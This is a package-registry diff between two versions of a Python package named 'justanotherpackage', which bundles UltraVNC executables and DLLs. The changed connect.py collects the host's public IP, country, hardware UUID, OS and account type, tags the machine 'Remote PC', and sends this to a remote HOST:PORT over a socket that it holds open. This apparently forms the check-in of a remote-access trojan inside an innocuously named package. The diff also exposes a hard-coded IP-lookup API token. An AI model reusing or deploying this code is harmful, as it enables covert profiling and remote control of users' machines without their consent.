justanotherpackage 0.1.7__tar.gz → 0.1.8__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (20) hide show
  1. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/PKG-INFO +1 -1
  2. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/connect.py +15 -18
  3. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage.egg-info/PKG-INFO +1 -1
  4. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/setup.py +1 -1
  5. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/MANIFEST.in +0 -0
  6. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/__init__.py +0 -0
  7. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/core.py +0 -0
  8. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/vnc/SecureVNCPlugin.dsm +0 -0
  9. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll +0 -0
  10. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf +0 -0
  11. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat +0 -0
  12. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/vnc/UltraVNC.ini +0 -0
  13. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/vnc/ddengine.dll +0 -0
  14. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/vnc/logging.dll +0 -0
  15. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/vnc/vnchooks.dll +0 -0
  16. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage/vnc/winvnc.exe +0 -0
  17. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage.egg-info/SOURCES.txt +0 -0
  18. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage.egg-info/dependency_links.txt +0 -0
  19. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/justanotherpackage.egg-info/top_level.txt +0 -0
  20. {justanotherpackage-0.1.7 → justanotherpackage-0.1.8}/setup.cfg +0 -0
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.7
3
+ Version: 0.1.8
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -19,10 +19,12 @@ def get_client_info():
19
19
  system = platform.system()
20
20
  version = platform.version().split('.')[0]
21
21
  os = f"{system} {version}"
22
- response = requests.get('https://ipapi.co/json/')
22
+ response = requests.get('https://ipv4.jsonip.com', timeout=5)
23
23
  data = response.json()
24
24
  ip = data.get('ip')
25
- country = data.get('country_name')
25
+ response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
26
+ data = response.json()
27
+ country_en = data['country']['names']['en']
26
28
 
27
29
  client_info = {
28
30
  "IP": ip,
@@ -30,7 +32,7 @@ def get_client_info():
30
32
  "PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
31
33
  "OS": os,
32
34
  "Account Type": check_account_type(),
33
- "Country": country,
35
+ "Country": country_en,
34
36
  "Tag": "Remote PC",
35
37
  }
36
38
  return client_info
@@ -42,19 +44,14 @@ def start_connection(HOST, PORT):
42
44
  client_socket.connect((HOST, PORT))
43
45
  client_info = get_client_info()
44
46
  client_socket.sendall(str(client_info).encode('utf-8'))
45
- print(f"{client_info} sent to: {HOST}:{PORT}")
46
- handle_connection(client_socket)
47
- except Exception as e:
48
- print(e)
49
- time.sleep(5)
50
- finally:
51
- client_socket.close()
52
47
 
53
- def handle_connection(client_socket):
54
- try:
55
- while True:
56
- command = client_socket.recv(1024).decode('utf-8').strip()
57
- if command:
58
- client_socket.sendall(f"Command executed successfully: {command}\n".encode('utf-8'))
59
- except:
60
- client_socket.close()
48
+ while True:
49
+ data = client_socket.recv(1024)
50
+ if not data:
51
+ break
52
+
53
+ except (socket.error, ConnectionResetError):
54
+ time.sleep(1)
55
+
56
+ finally:
57
+ client_socket.close()
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.7
3
+ Version: 0.1.8
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name="justanotherpackage",
5
- version="0.1.7",
5
+ version="0.1.8",
6
6
  packages=find_packages(),
7
7
  python_requires=">=3.6",
8
8
  include_package_data=True,